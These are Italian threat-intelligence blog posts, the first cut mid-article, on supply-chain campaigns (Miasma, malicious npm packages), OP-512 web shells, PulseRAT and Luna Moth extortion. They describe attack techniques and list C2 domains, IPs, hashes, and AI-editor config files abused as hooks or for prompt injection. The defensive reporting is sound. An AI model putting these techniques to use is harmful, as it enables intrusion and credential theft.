La disabilitazione di functions-action ha rotto immediatamente ogni pipeline CI/CD che referenziava Azure/functions-action@v1. Un thread su Microsoft Learn ha raccolto oltre 20 segnalazioni di pipeline bloccate in poche ore. Microsoft ha inizialmente classificato l’evento come “violazione delle policy GitHub”, salvo poi ricaratterizzarlo come “internal management issue under investigation”.

Attributione: TeamPCP e il nexus Shai-Hulud/Miasma

L’incidente si inserisce nella campagna più ampia del gruppo TeamPCP, attivo da almeno la primavera 2026. Il payload del 19 maggio conteneva un C2 secondario (t.m-kosche[.]com) già noto come infrastruttura TeamPCP. Il gruppo ha una storia di attacchi supply chain di ampia portata: TanStack (42 pacchetti npm, CVE-2026-45321, CVSS 9.6), Mistral AI, l’ecosistema @[url=https://stream.antv.abyaya.la/video-channels/antv]antv[/url] (639 versioni su 323 pacchetti npm), @redhat-cloud-services (32 pacchetti), LiteLLM, Telnyx e Checkmarx.

Miasma è valutata come una variante evoluta del worm Mini Shai-Hulud: Wave 1 (giugno 1) usava hook preinstall npm; Wave 2 (giugno 3) ha introdotto la tecnica Phantom Gyp — file binding.gyp malevoli che eludono le difese supply chain tradizionali; Wave 3 (giugno 5) ha abbandonato il package manager del tutto, puntando direttamente al repository e all’editor.

Indicatori di compromissione

# Domini C2
check.git-service[.]com      # C2 primario payload maggio
t.m-kosche[.]com             # Infrastruttura TeamPCP (C2 secondario)

# Hash commit malevolo
5f456b8  (Azure/durabletask, 2026-06-05)

# File sospetti da cercare nei repository
.claude/settings.json        # Hook SessionStart
.gemini/settings.json        # Hook SessionStart
.cursor/rules/setup.mdc      # Prompt injection alwaysApply
.vscode/tasks.json           # runOn: folderOpen
.github/setup.js             # Payload principale (4.6 MB offuscato)

Due righe per i difensori

Chi ha clonato repository Azure/microsoft dopo il 2 giugno 2026 e li ha aperti in un editor deve considerare il sistema compromesso e ruotare immediatamente tutte le credenziali accessibili: GitHub token, npm token, AWS keys, Azure service principal, GCP service account, SSH key, Kubernetes secrets, Docker config, variabili d’ambiente e shell history.

Per prevenire incidenti analoghi: ispezionare i repository clonati per i file sopra elencati prima di aprirli; pinnare le GitHub Actions a commit SHA specifici invece di tag mutabili; abilitare branch protection con revisione obbligatoria dei PR; usare PyPI Trusted Publishing (OIDC) al posto di token long-lived; monitorare le connessioni outbound dai runner CI/CD verso domini sconosciuti.

L’attacco Miasma su Microsoft rappresenta un salto qualitativo nella minaccia supply chain: non bastano più le difese sul package manager se gli attaccanti possono iniettare hook direttamente nell’editor dello sviluppatore. La superficie d’attacco si è spostata dall’installazione all’apertura — e le difese devono adeguarsi di conseguenza.

(in)sicurezza digitale

2026-06-11 12:32:31

OP-512: il nuovo cluster cinese di cyberspionaggio che sfida il rilevamento con web shell crittograficamente uniche

Si parla di:
Toggle

Un server IIS abbandonato con .NET Framework obsoleto da un decennio, settantacinque giorni di paziente ricognizione e poi un’offensiva fulminea: questo è il modus operandi di OP-512, un nuovo cluster di cyberspionaggio di presunta origine cinese scoperto da ReliaQuest grazie alla propria piattaforma di AI agentiva. La scoperta aggiunge un quarto attore al già affollato panorama degli APT cinesi che prendono di mira i server IIS aziendali, ma con un livello di sofisticazione che supera significativamente i gruppi precedentemente documentati.

La scoperta: quando l’AI vede ciò che l’analista non riesce a collegare

Il 5 giugno 2026, ReliaQuest ha pubblicato un’analisi dettagliata di un’intrusione rilevata nell’ambiente di un cliente. L’elemento distintivo non è stato solo l’attacco in sé, ma il modo in cui è stato scoperto: la piattaforma GreyMatter Agentic AI ha correlato automaticamente decine di eventi apparentemente scollegati — creazione di web shell, query DNS anomale, caricamento riflessivo di assembly .NET, esecuzione di comandi da processi del web server — ricostruendo in pochi minuti l’intera catena d’attacco che un analista umano avrebbe impiegato ore o giorni a ricostituire manualmente.

Il cluster, denominato “OP-512”, è stato attribuito con moderata-alta confidenza alla Cina, sulla base di indicatori tattici, tecnici e procedurali (TTP) che si sovrappongono parzialmente ad altri gruppi noti come CL-STA-0048, GhostRedirector e DragonRank. Tuttavia, OP-512 presenta caratteristiche uniche che ne fanno un’entità distinta: un framework di web shell costruito su misura, con crittografia per-deployment, che rende inefficace qualsiasi rilevamento basato su firme.

Il bersaglio: infrastruttura legacy come porta d’ingresso

Il server compromesso eseguiva Windows Server 2016 con .NET Framework 4.0, una versione priva di aggiornamenti di sicurezza dal 2016. I server IIS in zona demilitarizzata (DMZ) rappresentano un bersaglio prediletto per gli operatori di cyberspionaggio: si trovano al confine tra la rete esposta a Internet e la rete interna, ricevono meno monitoraggio rispetto all’infrastruttura core e fungono da pivot point ideale per muoversi lateralmente.

La telemetria EDR mostrava attività sospetta sullo stesso host già 75 giorni prima dell’attacco principale, con query DNS verso il dominio ashx.lhlsjcb[.]com. Questa prima fase — probabilmente ricognizione e test delle capacità di accesso — è tipica degli cluster di spionaggio state-sponsored, che non hanno fretta e possono permettersi di aspettare il momento più opportuno.

La fase offensiva: pochi minuti per stabilire il controllo

Quando OP-512 ha deciso di agire, ha operato con velocità e metodo. In un arco temporale di pochi minuti, il processo worker di IIS (w3wp.exe) ha scritto nella directory di upload dell’applicazione tre web shell, ciascuna con una funzione specifica:

• File manager .aspx con canale C2 self-reporting: alla prima visita, la shell codifica il proprio URL in esadecimale e lo trasmette come query DNS verso il dominio controllato dagli attaccanti (hcgos[.]com, con pattern a.<hex>.c.hcgos[.]com). Se la query DNS fallisce, attiva un canale di fallback HTTP verso un server C2 separato. Il server di fallback è stato collegato da ricercatori indipendenti a infrastrutture Meterpreter.
• Due command handler .ashx con autenticazione crittografica: ciascuno gated da autenticazione RSA+RC4 con chiavi diverse tra i due handler. Il processo di esecuzione segue quattro fasi sequenziali: decodifica Base64 del corpo della richiesta HTTP, decifratura RC4 del payload, verifica della firma RSA contro la chiave pubblica embedded, esecuzione del comando solo se la verifica ha successo.

L’elemento più sofisticato è la generazione crittograficamente unica per ogni deployment: un builder automatizzato produce istanze dal medesimo template, randomizzando i nomi di variabili e metodi e iniettando variabili morte e commenti spazzatura. Il risultato sono file che eseguono la stessa operazione ma producono hash completamente diversi, rendendo inutile il rilevamento basato su firme.

Privilege Escalation: la suite “Potato” caricata direttamente in memoria

Con le web shell operative, OP-512 ha caricato direttamente nella memoria del processo w3wp.exe quattro toolkit di post-exploitation, senza scrivere nulla su disco:

• BadPotato, SweetPotato, EfsPotato: la “Potato Suite”, una raccolta documentata di exploit Windows che abusano di servizi integrati per elevare i privilegi da un account di servizio limitato a SYSTEM. La presenza di questi strumenti in OP-512 aggiunge un dato di attribuzione, poiché compaiono anche in CL-STA-0048 e GhostRedirector.
• GhostKit: un toolkit non documentato pubblicamente, probabilmente un’etichetta vendor-specifica della telemetria EDR piuttosto che un tool consolidato.

I comandi di verifica post-escalation (whoami e whoami /priv) sono stati eseguiti come stringhe base64-encoded — una codifica identica carattere per carattere a quella documentata nel compromesso ArcGIS di Flax Typhoon, suggerendo tooling o playbook condivisi nell’ecosistema degli APT cinesi.

Il problema del loop: quando la prevenzione non basta

Un aspetto particolarmente istruttivo dell’incidente è ciò che è accaduto dopo l’intervento dell’endpoint protection: il sistema ha terminato il processo malevolo, ma IIS riavvia automaticamente i worker process dopo un crash o una terminazione forzata. Il risultato è stato un loop in cui la protezione si attivava ripetutamente mentre l’attività malevola continuava. Bloccare un processo senza isolare l’host crea esattamente questa finestra di vulnerabilità che gli attaccanti sfruttano intenzionalmente.

Un ulteriore problema per i responder è la persistenza delle DLL compilate da ASP.NET: quando le web shell vengono eseguite per la prima volta, il runtime .NET le compila in librerie DLL e le salva in una directory temporanea. Queste DLL sopravvivono alla cancellazione dei file originali e possono essere riattivate. La risposta all’incidente deve quindi includere la pulizia delle directory di compilazione temporanea di ASP.NET.

Timestomping: nascondersi nel passato

OP-512 implementa una tecnica di timestomping automatizzato particolarmente raffinata: le web shell analizzano ogni file e sottodirectory circostante, calcolano il timestamp mediano di ultima modifica e sovrascrivono i propri timestamp di creazione e modifica per allinearsi. Una web shell scritta nel 2026 tra file del 2022 sembrerebbe vecchia di anni. La funzione accetta anche un timestamp esplicito come input, permettendo all’operatore di retrodatare un file a uno specifico evento o finestra di patch.

OP-512 nel panorama degli APT cinesi su IIS

ReliaQuest posiziona OP-512 come quarto cluster cinese documentato nell’ultimo anno a colpire server IIS, ma con caratteristiche che lo distinguono dagli altri tre:

• CL-STA-0048 (l’overlap più significativo): usa query DNS con subdomain esadecimali per esfiltrare dati — OP-512 usa lo stesso encoding ma per segnalare la propria posizione, non per esfiltrare. Dipende da tool commodity come PlugX e Cobalt Strike, diversamente dal framework custom di OP-512.
• GhostRedirector e DragonRank: motivati da frodi SEO, non da spionaggio. Usano alcune delle stesse tecniche di privilege escalation ma con obiettivi completamente diversi.

IOC e Indicatori comportamentali

ReliaQuest enfatizza che gli IOC specifici di questa intrusione non saranno necessariamente presenti nelle future operazioni OP-512, data la natura generata proceduralmente del framework. I rilevamenti comportamentali sono la strada maestra:

# IOC specifici dell'intrusione
Dominio C2 primario:     ashx.lhlsjcb[.]com (attività precedente, ~75 giorni prima)
Dominio C2 secondario:   hcgos[.]com
Pattern DNS:             a.<hex>.c.hcgos[.]com
Server Meterpreter C2:   43.160.202[.]246:8053
Connessione outbound:    140.206.161[.]227:443
Source IP interazione:   124.156.129[.]151 (User-Agent: python-requests/2.33.0)

# Pattern comportamentali da monitorare
- w3wp.exe che genera query DNS con subdomain esadecimali lunghi
- Caricamento riflessivo di componenti crittografici in w3wp.exe
- Creazione di DLL in directory temporanee ASP.NET fuori dai cicli di deployment
- Risposte HTTP cifrate da endpoint .ashx che dovrebbero restituire contenuto standard

Due righe per i difensori

Per i team di sicurezza che gestiscono ambienti con server IIS legacy, le priorità immediate sono: ritirare o isolare i server con .NET Framework end-of-life esposti a Internet; disabilitare l’esecuzione di script nelle directory di upload via handler IIS per estensioni .aspx, .ashx, .asp e .asmx; monitorare le directory di compilazione temporanea ASP.NET per creazione di DLL fuori dai cicli di deployment normali; e — fondamentalmente — non chiudere un incidente senza aver identificato e rimediato la vulnerabilità di accesso iniziale. OP-512 dimostra che gli operatori di spionaggio contano esattamente su questa superficialità per tornare dopo che l’allerta è rientrata.

(in)sicurezza digitale

2026-06-11 12:30:18

Supply chain attack su npm: 11 pacchetti malevoli con C2 blockchain colpiscono 2,7 milioni di download crypto

Si parla di:
Toggle

Undici pacchetti npm malevoli, un singolo package con oltre 2,7 milioni di download, un’infrastruttura di comando e controllo ancorata alla blockchain Ethereum: questa è la mappa di una campagna di supply chain attack che i ricercatori di Cyfirma hanno identificato e documentato nel dettaglio, prendendo di mira sviluppatori blockchain, progetti Web3 e operatori di wallet crypto.

La trappola nel registro npm

Il registro npm — il più grande ecosistema di pacchetti JavaScript con oltre due milioni di moduli disponibili — si conferma ancora una volta un bersaglio privilegiato per gli attori malevoli. Questa campagna ha sfruttato una combinazione di tecniche consolidate e innovazioni notevoli, a partire dal typosquatting: i pacchetti malevoli mimicavano fedelmente nomi di librerie legittime e ampiamente utilizzate nell’ecosistema blockchain, come ethers.js, le SDK di Moralis, le utility Coinbase e i tool di sviluppo Stellar.

Il pacchetto più distribuito, moralis-sdk, ha raggiunto la cifra di 2,7 milioni di download prima della rimozione — un numero che rende l’entità potenziale della compromissione difficile da quantificare con precisione. Gli altri dieci pacchetti identificati includono ethers-jss, coinbase-wallet-utils, Ganach (typosquatting di Ganache), Solidty (typosquatting di Solidity), Stelar-sdk, oltre a hardhat-deploy-utils, web3-deploy-helper, defi-sdk-core, ethers-compat ed ethereum-dev-utils.

Meccanismo di esecuzione: lifecycle hooks come vettore d’attacco

Il vettore di infezione primario si basa sull’abuso degli script di ciclo di vita npm (postinstall e preinstall). Quando uno sviluppatore esegue npm install, il codice malevolo viene attivato automaticamente, senza alcuna interazione ulteriore. Questo approccio è particolarmente insidioso perché sfrutta funzionalità native del gestore di pacchetti, difficili da bloccare senza compromettere la funzionalità legittima.

Il pacchetto moralis-sdk fungeva da downloader multi-stadio: recuperava payload aggiuntivi da servizi di hosting remoto come Pastefy e GitHub, realizzando un’architettura di distribuzione del malware altamente resiliente. I pacchetti coinbase-wallet-utils e ethers-jss erano invece dedicati principalmente alle fasi di ricognizione ed esfiltrazione, con focus specifico sul furto di wallet crypto.

Blockchain come infrastruttura C2: l’innovazione più significativa

L’elemento tecnico più rilevante della campagna è l’utilizzo della blockchain Ethereum come meccanismo di command and control. Gli attori malevoli hanno impiegato smart contract Ethereum e transazioni on-chain sia per il recupero della configurazione dell’infrastruttura sia per l’esfiltrazione di credenziali. Questo approccio rende il C2 estremamente difficile da bloccare: non esistono domini da eliminare, non esistono IP da inserire in blacklist, e le transazioni on-chain sono immutabili e pseudoanonime.

Gli indirizzi Ethereum identificati nella campagna come target per la configurazione e l’esfiltrazione includono 0xa1b40044EBc2794f207D45143Bd82a1B86156c6b, 0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84 e 0xCBbecC5E5Eb88582e6305cF6ab688f03e02Ce16f.

Tipologia di dati rubati

L’obiettivo principale era la raccolta di segreti ad alto valore economico e operativo dagli ambienti di sviluppo compromessi. Il malware prendeva di mira: chiavi private di wallet crypto e frasi mnemoniche (seed phrase), chiavi SSH, credenziali cloud (AWS, Azure, GCP), token di autenticazione API (NPM_TOKEN, GITHUB_TOKEN), chiavi di servizi blockchain come Infura e Alchemy, oltre a file di configurazione di ambienti di sviluppo specifici come secrets.json, hardhat.config.js e foundry.toml.

Mappatura MITRE ATT&CK

La campagna copre un ampio spettro di tecniche MITRE, tra cui T1195.002 (Supply Chain Compromise), T1204.002 (Malicious File Execution), T1036.005 (Masquerading), T1552 (Unsecured Credentials), T1528 (Steal Application Access Token) e T1583.006 (Acquire Infrastructure via Web Services).

Indicatori di Compromissione (IoC)

# Pacchetti npm malevoli
moralis-sdk, ethers-jss, coinbase-wallet-utils
Ganach, Solidty, Stelar-sdk
hardhat-deploy-utils, web3-deploy-helper, defi-sdk-core, ethers-compat, ethereum-dev-utils

# Hash SHA256
d94a2444268b339dfda2615f7800322fb318e0a484414bb17016cfcd5eb07c44
6585ca0d3e26c20ced638f46f4a89eea924d411b8753d3fcf434663593c7cf0b
17bad5ae5b2ac262f5f18854853869840245c344105aa38c7f550ef51d2e5f26

# Hash SHA1
53b91117db931d3acbbfd15aa8400bb6691e023d
63154cd9c79f9d14eb9be6c4efc2a778d31646ec
74d3d5ab6d0fa4c6a5860598231728a6a893ecf7

# URL infrastruttura
pastefy.app/RhPBKGli/raw
http://193.233.201.21:3001

# Indirizzi Ethereum (C2 on-chain)
0xa1b40044EBc2794f207D45143Bd82a1B86156c6b
0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
0xCBbecC5E5Eb88582e6305cF6ab688f03e02Ce16f

Due righe per i difensori

Questa campagna evidenzia come i supply chain attack sul registro npm stiano diventando sempre più sofisticati. I difensori e i team di sicurezza DevOps dovrebbero implementare: verifica sistematica dell’integrità dei pacchetti prima dell’installazione; utilizzo di strumenti come npm audit e analizzatori comportamentali di pacchetti (Socket.dev, Snyk, Phylum); monitoraggio delle connessioni di rete generate durante npm install in ambienti di build CI/CD isolati; blocco preventivo dei lifecycle hook di terze parti nelle pipeline di produzione; audit periodico delle dipendenze con specifico focus su pacchetti con nomi simili a librerie popolari. L’uso della blockchain come infrastruttura C2 rappresenta una frontiera che richiede approcci di difesa diversi dal tradizionale blocco DNS/IP: è necessario monitorare le chiamate RPC verso nodi Ethereum non autorizzati nelle reti aziendali.

La ricerca completa di Cyfirma è disponibile su: cyfirma.com

New NPM Supply Chain Campaign Identified : A Multi-Stage Cryptocurrency Malware with More Than 2.7 million Downloads - CYFIRMA

New NPM Supply Chain Campaign Identified : A Multi-Stage Cryptocurrency Malware with More Than 2.7 million Downloads. EXECUTIVE SUMMARY Cyfirma...

^CYFIRMA

(in)sicurezza digitale

2026-06-09 13:59:13

PulseRAT: il RAT .NET che usa Google Sheets come C2 e sfrutta il partenariato India-EAU come esca geopolitica

Si parla di:
Toggle

Un ISO caricato dagli Emirati Arabi con dentro un Remote Access Trojan inedito, progettato per nascondersi come servizio Windows legittimo e ricevere comandi da un semplice foglio Google Sheets: è PulseRAT, la nuova minaccia documentata il 6 giugno 2026 dal ricercatore DmpDump. L’esca geopolitica — la settimana della partnership strategica India-EAU, annunciata dal governo Modi nel maggio 2026 — e la catena d’infezione curata ne fanno un sample di forte interesse per la threat intelligence.

Il contesto geopolitico come vettore

Il campione è stato individuato il 19 maggio 2026, caricato su VirusTotal da un indirizzo UAE. Il file si chiama UAE-India_Strategic_Partnership_Week.iso ed è progettato per sembrare documentazione correlata alla visita di stato del Premier indiano Modi negli Emirati Arabi, durante la quale India e UAE hanno firmato accordi nel settore della difesa e dell’energia. Questo tipo di lure geopolitico — sfruttare eventi diplomatici reali per mascherare malware — è una tattica consolidata di gruppi APT, e suggerisce un operatore con sufficiente consapevolezza del contesto politico regionale per costruire un inganno credibile.

Al momento della pubblicazione dell’analisi, l’attribuzione resta aperta: il ricercatore nota analogie con artefatti legati a un host chiamato desktop-526nitv, ma non formula attribuzioni definitive a gruppi noti.

La catena d’infezione

L’ISO contiene due file:

• UAE-India_Strategic_Partnership-Week.lnk — un collegamento Windows che esegue il secondo file tramite cmd.exe. I metadati del file LNK rivelano che è stato creato su una macchina denominata desktop-526nitv.
• Document_11052026-03578240540350-93.exe — un dropper .NET compilato l’11 maggio 2026, il cui nome originale è FinalTool.exe.

Il dropper esegue le seguenti operazioni:

• Crea la directory %LOCALAPPDATA%\Microsoft\Vault\
• Estrae due risorse embedded: il payload principale (vaultsvc.exe) e un “decoy PDF” da 0 byte
• Registra un Scheduled Task denominato WindowsVaultSyncService tramite l’interfaccia COM del Task Scheduler di Windows (non via riga di comando, riducendo la visibilità nei log)
• Si auto-elimina dopo il setup

Il nome scelto per il servizio — WindowsVaultSyncService — è una tecnica classica di masquerading: nomi plausibili per processi di sistema Windows riducono la probabilità che un analista o un tool automatico sollevino un alert.

Il RAT: Google Sheets come C2

Il payload finale è un RAT .NET con una caratteristica architetturale notevole: utilizza un foglio Google Sheets come canale di command-and-control. Questa tecnica — nota come Living off Trusted Sites (LoTS) — è sempre più diffusa tra gli attori avanzati perché il traffico verso i servizi Google è raramente bloccato a livello di firewall o proxy aziendale e si confonde facilmente col traffico legittimo.

Il funzionamento documentato dal ricercatore:

• Il RAT genera un UID vittima a partire da nome utente e nome macchina
• Crea un mutex GlobalWinSync_ per evitare esecuzioni multiple
• Raccoglie informazioni di sistema tramite PowerShell in-process (systeminfo)
• Scrive i risultati e i log dei comandi eseguiti nel foglio Google Sheets dell’attaccante
• Legge i comandi dal foglio e li esegue tramite PowerShell base64-encoded
• Le stringhe critiche del RAT sono offuscate con una combinazione di base64 e XOR, decodificate a runtime dal metodo JIT

MITRE ATT&CK mapping

La catena copre diverse tecniche MITRE: T1204.002 (esecuzione file malevolo tramite LNK), T1059.001 (PowerShell), T1053.005 (Scheduled Task per persistenza), T1071.001 e T1102.001 (C2 via web service Google Sheets), T1027 (offuscamento stringhe), T1070.004 (auto-delete del dropper).

Indicatori di compromissione (IoC)

# File names
UAE-India_Strategic_Partnership_Week.iso
Document_11052026-03578240540350-93.exe
UAE-India_Strategic_Partnership-Week.lnk
vaultsvc.exe
# SHA-256 hashes
1ba67bb1cfad42446880cca53cbd05fe66d7514b2bb139b48e5c63adff14be7b  (ISO)
2cc7c2d8653c98e5bac32fcaf5e45b861efb4bb87df3b3f96285edb475e75bba  (dropper)
62d62950ff7a0e43550a5d0ba55d32d5083b9de5538e0f012e406b6d951e16aa  (RAT)
# Google Sheets C2
Spreadsheet ID: 1Lb5BEIsehbCGe8p1jkfWf5Mw1dBAcw5RHWFdga5gFq8
Service account: [redacted]@insicurezza-lab.iam.gserviceaccount.com
# Host artifact
Hostname: desktop-526nitv
# Mutex
GlobalWinSync_
# Scheduled Task
WindowsVaultSyncService

Due righe per i difensori

PulseRAT è un campione che illustra una tendenza crescente: l’abuso di infrastrutture cloud legittime (Google, OneDrive, GitHub, Slack) per il C2. Dal punto di vista difensivo, bloccare questo tipo di traffico è complesso perché si sovrappone al traffico produttivo aziendale. Alcune contromisure pratiche:

• Monitorare creazioni anomale di Scheduled Task tramite l’interfaccia COM (Event ID 4698 nei log Windows Security, con particolare attenzione a task non firmati o con path in %LOCALAPPDATA%).
• Implementare regole YARA o EDR per rilevare dropper .NET che si auto-eliminano dopo aver scritto payload in directory utente.
• Considerare il blocco o il monitoraggio stretto delle API di Google Sheets in uscita da endpoint non autorizzati a usarle.
• Bloccare il mount automatico di file ISO da fonti esterne tramite Group Policy.
• Aggiungere i hash SHA-256 riportati alle threat intel feed aziendali.

Il ricercatore DmpDump ha reso disponibile l’analisi completa sul suo blog, con screenshot del codice decompilato e della struttura del foglio Google Sheets usato come C2. La ricerca resta aperta sull’attribuzione: se hai visto sample simili, il ricercatore accetta segnalazioni per aggiornare il nome e i riferimenti alla famiglia malware.

(in)sicurezza digitale

2026-06-08 18:17:21

Polyfill.io torna attivo nel 2026: pop-up di login sospetti colpiscono Toshiba, Muji e Samsung

Il dominio polyfill[.]io — protagonista di uno dei più clamorosi supply chain attack del 2024 — è tornato attivo a fine maggio 2026 con un nuovo vettore: risposte HTTP 401 che inducono i browser a mostrare finestre di autenticazione false agli utenti di siti che non avevano ancora rimosso il vecchio script. Tra le vittime più note: Toshiba, Muji, Zojirushi e Samsung Smart TV.

Il contesto: l’incidente polyfill.io del 2024

Polyfill è una libreria JavaScript che permette ai siti web di supportare funzionalità moderne su browser legacy, fornendo uno strato di compatibilità lato client. Per anni, milioni di siti hanno caricato questa libreria dal CDN ospitato su polyfill[.]io — un dominio che tuttavia non era mai stato di proprietà del creatore del progetto open source, Andrew Betts.

Nel febbraio 2024, il dominio polyfill[.]io fu acquistato da un’entità cinese (Funnull), che lo utilizzò per iniettare codice malevolo negli script distribuiti dal CDN, colpendo oltre 100.000 siti. Betts reagì subito consigliando a tutti gli amministratori di rimuovere il servizio dai propri siti e rilancò il progetto originale sotto nuovi domini (polyfill.com, poi polyfill.top). Le autorità e diversi CDN provider bloccarono l’accesso a polyfill[.]io, fermando i redirect malevoli.

Maggio 2026: il dominio risponde di nuovo — con HTTP 401

Il problema del 2026 ha un meccanismo diverso ma altrettanto insidioso. Secondo il ricercatore di sicurezza Pasquale Pillitteri, a partire da fine maggio 2026 il dominio polyfill[.]io ha ricominciato a rispondere alle richieste, questa volta restituendo codici HTTP 401 (Unauthorized). Quando un browser carica una risorsa da un dominio esterno e riceve una risposta 401, interpreta questo come una richiesta di autenticazione e mostra automaticamente una finestra di dialogo per inserire username e password.

Tutti i siti che negli ultimi due anni non avevano completato la pulizia del codice — rimuovendo ogni riferimento a polyfill[.]io — si sono trovati improvvisamente a presentare ai propri utenti delle finestre di login che sembravano provenire dal sito legittimo, ma erano in realtà generate da una risorsa esterna non controllata dall’azienda.

Le organizzazioni colpite

Il colosso tecnologico Toshiba ha pubblicato un avviso urgente ai propri utenti il 2 giugno 2026, chiedendo di annullare qualsiasi finestra di autenticazione insolita apparsa sul sito e di non inserire credenziali. Il gigante del retail Muji ha emesso un comunicato simile, dichiarando di non aver rilevato accessi non autorizzati o fughe di dati, ma invitando comunque alla prudenza chi avesse eventualmente inserito le proprie credenziali. Anche Zojirushi (elettrodomestici), FiNC Technologies (app di salute), Ishiyaku Publishers e Hobonichi (editore e brand lifestyle) hanno segnalato lo stesso problema. Pillitteri ha riportato che il fenomeno si è manifestato anche sui televisori Samsung Smart TV l’1 giugno 2026.

Analisi tecnica: il meccanismo dell’HTTP 401 browser prompt

Il comportamento è standard nelle specifiche HTTP: quando una risorsa (script, immagine, iframe) risponde con 401, il browser mostra automaticamente una finestra di autenticazione nativa (WWW-Authenticate challenge). L’aspetto visivo di questa finestra è quello di un dialog box del browser — non una pagina web — il che può dare all’utente l’impressione di una richiesta legittima proveniente dal sito che sta visitando. Se l’utente inserisce le credenziali, queste vengono inviate in chiaro (o con Basic Auth) al server che ha emesso la challenge — in questo caso polyfill[.]io.

Al momento della pubblicazione dell’articolo originale di BleepingComputer (5 giugno 2026), non erano emerse prove concrete che le credenziali eventualmente inserite dagli utenti fossero state effettivamente raccolte. Toshiba e Muji hanno dichiarato di aver rimosso il riferimento a polyfill[.]io e di aver sospeso il servizio. Tuttavia, il rischio per gli utenti che abbiano inserito credenziali prima della chiusura rimane reale, e il cambio password immediato è fortemente consigliato.

Cosa devono fare gli amministratori di siti web

La lezione principale di questo incidente è chiara: le dipendenze da CDN esterni non controllati rappresentano un rischio persistente anche dopo che un incidente di sicurezza è stato apparentemente risolto. Gli amministratori devono verificare immediatamente che nessuna pagina del proprio sito contenga riferimenti a polyfill[.]io — incluse pagine secondarie, template legacy e componenti di terze parti. Gli strumenti di Content Security Policy (CSP) e Subresource Integrity (SRI) possono prevenire questo tipo di attacco bloccando il caricamento di risorse da domini non autorizzati o con hash diverso da quello atteso. Qualsiasi CDN di terze parti dovrebbe essere monitorato per variazioni nel comportamento delle risorse caricate.

Indicatori

## Dominio da bloccare
polyfill.io
cdn.polyfill.io

## Pattern da cercare nel codice sorgente
src="https://polyfill.io/
src='https://polyfill.io/
src="//polyfill.io/

(in)sicurezza digitale

2026-06-08 18:16:34

Luna Moth incassa 20 milioni di dollari da Weil Gotshal & Manges: il gruppo entra fisicamente negli uffici per rubare dati

Weil, Gotshal & Manges — una delle law firm più influenti al mondo, con un portafoglio clienti che include le maggiori transazioni M&A e contenziosi corporate degli Stati Uniti — ha corrisposto tra 18 e 20 milioni di dollari al gruppo di estorsione noto come Luna Moth, Silent Ransom Group o UNC3753. Il pagamento è avvenuto nell’arco di tre giorni dalla richiesta. Contemporaneamente, l’FBI ha emesso un alert FLASH — il secondo in dodici mesi su questo attore, il primo a livello FLASH — documentando un’escalation tattica senza precedenti: il gruppo ora invia operativi fisici negli uffici delle vittime.

Chi è Luna Moth / Silent Ransom Group

Luna Moth è attiva dal 2022 e affonda le proprie radici nelle operazioni BazarCall, un’infrastruttura di phishing telefonico che fino alla primavera di quell’anno aveva fornito accesso iniziale alle operazioni ransomware di Ryuk e Conti. Dopo il collasso di Conti (aprile 2022), il nucleo operativo si è separato dando vita al Silent Ransom Group, che ha abbandonato il modello tradizionale di ransomware con cifratura dei sistemi in favore di pura estorsione via data theft.

Il modello economico è cinico ma efficace: non cifrare i sistemi delle vittime significa non bloccare l’operatività aziendale (il che riduce la pressione a chiamare le forze dell’ordine) e concentrarsi sulla minaccia più cogente per le law firm — la pubblicazione di documenti riservati dei clienti. Secondo la società di sicurezza Halcyon, tra il 2025 e l’inizio del 2026 si contano oltre 200 incidenti ransomware/estorsione ai danni di studi legali, con il SRG protagonista indiscusso della verticalizzazione su questo settore.

Il caso Weil Gotshal: cronologia e dettagli

Secondo il reporting esclusivo di The Insurer, Luna Moth ha ottenuto accesso a un numero non specificato di documenti riservati dei clienti di Weil, Gotshal & Manges e li ha caricati su un’infrastruttura cloud esterna senza autorizzazione. La richiesta di riscatto — definita “suppression payment” — ammonta a una cifra tra 18 e 20 milioni di dollari. Il pagamento sarebbe stato effettuato entro tre giorni dalla richiesta.

Weil ha confermato l’incidente in una dichiarazione ufficiale, specificando che “un attore malintenzionato ha caricato senza autorizzazione un numero limitato di documenti clienti su una risorsa cloud esterna”. La firma ha aggiunto che i forensic specialist ingaggiati non hanno trovato prove di penetrazione nella rete interna e che non è stata rilevata attività non autorizzata nei monitoraggi successivi. La società ha notificato i clienti i cui dati sono stati coinvolti e ha comunicato di aver allertato le forze dell’ordine. Il pagamento del riscatto non è stato confermato da Weil.

L’impatto reputazionale è comunque significativo: una law firm che gestisce transazioni miliardarie e contenziosi sensibili è per definizione un target ad altissimo valore per chi punta alla pubblicazione di informazioni riservate. Secondo EclecticIQ, il SRG ha già pubblicato dati di oltre 38 studi legali sul proprio leak site, con un totale di incidenti che supera i 100.

L’escalation tattica: dal vishing all’infiltrazione fisica

L’elemento più allarmante documentato dall’alert FLASH dell’FBI (numero FLASH-20260526-01) è l’evoluzione della kill chain del SRG, che si è articolata in tre generazioni tattiche distinte.

Fase 1 (2022-2024) — Callback phishing: invio massivo di email che impersonano servizi di subscription con un numero telefonico da chiamare per “risolvere il problema”. L’operatore al telefono — che finge di essere il supporto del servizio — convince la vittima a installare un tool di remote monitoring and management (RMM) da un sito fake dell’helpdesk. Non ci sono link o allegati malevoli nell’email, il che consente di bypassare la stragrande maggioranza dei filtri enterprise.

Fase 2 (primavera 2025-inizio 2026) — IT impersonation via cold call: invece di aspettare che la vittima chiami, il SRG inizia a contattare direttamente i dipendenti spacciandosi per l’IT interno dell’azienda target. Il pretesto standard è una “manutenzione di routine” o una risposta a un presunto attacco phishing ricevuto. La richiesta è la stessa: concedere l’accesso a una sessione desktop remota. Il livello di preparazione degli operatori è elevato: registrano domain typosquatted che impersonano i portali IT delle law firm target, personalizzano il social engineering in base all’organigramma aziendale.

Fase 3 (primavera 2026) — Infiltrazione fisica: questa è la novità documentata dall’FBI nel FLASH alert. Quando i tentativi di accesso remoto falliscono, il SRG invia un operativo fisicamente presso la sede della vittima. L’attore si presenta come tecnico IT e dichiara di dover “clonare il disco” o “creare un backup” per far fronte a potenziali impatti del phishing ricevuto. Una volta ottenuto l’accesso fisico alla macchina, inserisce un dispositivo di storage per estrarre i dati direttamente.

TTP e strumenti tecnici

Una volta ottenuto l’accesso remoto o fisico, la metodologia del SRG è caratterizzata da minima privilege escalation e rapido pivot verso l’esfiltrazione. Gli strumenti principali documentati dall’FBI sono WinSCP (Windows Secure Copy) e versioni nascoste o rinominate di rclone per la sincronizzazione cloud. Il gruppo usa le credenziali carpite per accedere a repository documentali, drive condivisi e cartelle clienti. Il leak site è attivo e viene aggiornato regolarmente come strumento di pressione nelle negoziazioni.

